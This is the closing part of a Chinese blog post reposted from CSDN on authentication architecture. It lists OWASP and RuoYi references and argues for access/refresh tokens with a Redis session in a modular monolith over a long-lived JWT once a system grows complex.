    • 强调 XSS 对客户端敏感数据存储带来的风险
  6. OWASP Cheat Sheet Series — Session Management Cheat Sheet

    • Session 生命周期、Cookie、安全属性、客户端存储等安全实践
  7. RuoYi-Vue

    • Maven 多模块后台管理系统
    • 采用 ruoyi-adminruoyi-frameworkruoyi-systemruoyi-common 等模块组织方式
  8. RuoYi-Vue-Plus

    • 在 RuoYi 思路基础上进一步模块化
    • 可以作为 Spring Boot 后台项目 Maven 模块设计的重要工程参考

写在最后

这篇文章并不是想说明:

Access Token + Refresh Token + Redis

是所有系统唯一正确的答案。

如果你的系统只有几个接口、用户数量很少,也没有在线设备管理、强制退出、统一认证等需求:

简单 JWT

完全够用。

架构设计最大的忌讳之一,就是:

为了架构而架构。

但反过来,当项目已经开始出现:

多个业务模块
多个客户端
多租户
统一认证
设备管理
权限控制
登录续期
强制退出
微服务演进

这些需求时,再继续依赖:

一个有效期七天的 JWT

迟早会遇到问题。

所以我现在更愿意采用:

模块化单体
+
framework / module / server
+
Access Token / Refresh Token
+
Redis Session

这样的设计。

不是因为它看起来复杂。

恰恰相反:

复杂系统真正需要做的,是把复杂度拆开,让每一部分重新变得简单。

转载自 CSDN-专业IT技术社区

原文链接:https://blog.csdn.net/m0_74899094/article/details/165242364

文章来源转载

评论

赞0

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--